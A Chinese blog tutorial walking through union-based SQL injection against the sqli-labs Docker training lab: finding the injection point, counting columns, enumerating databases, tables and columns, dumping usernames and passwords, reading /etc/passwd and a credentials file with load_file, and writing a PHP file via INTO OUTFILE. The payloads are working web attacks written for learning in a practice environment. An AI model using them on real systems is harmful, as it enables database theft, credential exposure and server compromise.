sql注入-回显注入实例详解

根据前面对sql注入流程的说明https://blog.csdn.net/CPriLuke/article/details/106961748
本章主要对说明的内容通过实战的方式进一步加深,实战环境
sqlilab,hackbar
如下图,进入sqli-lab docker后进行sql语句尝试

[root@localhost ~]# docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs
f49f95b7655de49084fe7d76263865854cdd0ff508a2ac8096297af797b61d3e
[root@localhost ~]# docker ls
docker: 'ls' is not a docker command.
See 'docker --help'
[root@localhost ~]# docker container ls
CONTAINER ID        IMAGE                COMMAND             CREATED             STATUS              PORTS                          NAMES
f49f95b7655d        acgpiano/sqli-labs   "/run.sh"           11 seconds ago      Up 10 seconds       0.0.0.0:80->80/tcp, 3306/tcp   sqli
[root@localhost ~]# docker exec -it f4 bash
root@f49f95b7655d:/# mysql -uroot -p
Enter password: #填空, 默认没有密码
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

1. 寻找注入点

通过注入单引号,网站返回sql报错,确认存在SQL注入,且得知数据库的类型为MYSQL
sql注入-回显注入实例详解_第1张图片

2. 确定当前数据库的列数

通过order by进行试探得到,如下所示,当为order by 4返回数据报错
sql注入语句说明,后台的原始数据为:

select  * from users where id='$id' limit 0,1
#注入语句后替换为
select  * from users where id='2' order by 3 --+limit 0,1

sql注入-回显注入实例详解_第2张图片
sql注入-回显注入实例详解_第3张图片

3. 确定前台显示那几列

思路:通过union来增加查询语句同时,并让第一条的查询语句select * from users where id='$id'返回0,这个union进行笛卡尔积之后数据仅为union之后的查询结果。
如下图,我们得知显示的内容为2,3列。
sql注入-回显注入实例详解_第4张图片

4. 获取数据

现在就是根据前面讲过的获取库,表,列,数据的语法依次进行数据的获取:

4.1 获取当前的表明

一开始获取库名返回报错提示返回的行数多于1行,有两个解决办法:

  1. 通过limit限制;
  2. 通过concat将多行合并为一行
    select group_concat(schema_name) from information_schema.schemata
    sql注入-回显注入实例详解_第5张图片
    修改后的步骤
    sql注入-回显注入实例详解_第6张图片

4.2 获取表数据

select group_concat(table_name) from information_schema.tables where table_schema='security'
sql注入-回显注入实例详解_第7张图片

4.3 获取列数据

从上表我们知道user可能会函数用户敏感数据,因此,先对其进行查询:
select group_concat(column_name) from information_schema.columns where table_name='users'
sql注入-回显注入实例详解_第8张图片

4.4 获取所有数据

select group_concat(concat(username, 0x7e, password)) from users
# concat(username, 0x7e, password) 用于将密码与用户名通过‘~’分隔起来

sql注入-回显注入实例详解_第9张图片

5. 提权

毫无疑问,上述操作主要是用于进行数据库中数据获取,当数据库中的数据不能支持我们进行进一步渗透时,还可以通过SQL注入漏洞进行提取,主要包括两个方面:

  1. 读写配置文件
  2. 执行系统命令

5.1 读配置文件

文件一般都是通过文件名爆破的方式进行获取,如下图获取db-creas.inc中的文件
id=' union select 1, 2, (select load_file('/var/www/html/sql-connections/db-creds.inc')) --+
也可以执行系统文件, 如/etc/passwd:
union select 1, 2, (select load_file('/etc/passwd')) --+
查询后,我们发现并没有显示文件内容,这主要是因为html显示问题,我们通过查看html 源码的方式进行查看。
sql注入-回显注入实例详解_第10张图片
真实的文件内容已经返回了:

font size='5' color= '#99FF00'>Your Login name:2<br>Your Password:

5.2 写入文件

前提是mysql要有对特定目录具备写权限, 我们通过登录sqlilab map进行尝试,发现/var/www/html/目录下具备写权限功能

mysql> select '' into outfile '/var/www/html/phpinfo2.php' ;
ERROR 1 (HY000): Can't create/write to file '/var/www/html/phpinfo2.php' (Errcode: 13)
mysql> select '<?php phpinfo(); ?>' into outfile '/tmp/phpinfo2.php.txt';
Query OK, 1 row affected (0.01 sec)

因此,可以将文件放入到其他目录,但通过url访问(目录遍历)发现读取不到该目录。
根据上述所示,具体的url请求为:
http://192.168.168.128/Less-1/ ?id=' union select 1, 2, '' into outfile '/tmp/phpinfo.txt' --+
后台查看目录,发现写入成功:

root@366fac995ec2:/tmp# ls
phpinfo.txt  phpinfo2.php.txt  t.txt  text2.txt  text3.txt
root@366fac995ec2:/tmp# cat phpinfo.txt
1	2	<?php phpinfo(); ?>

你可能感兴趣的:(web安全)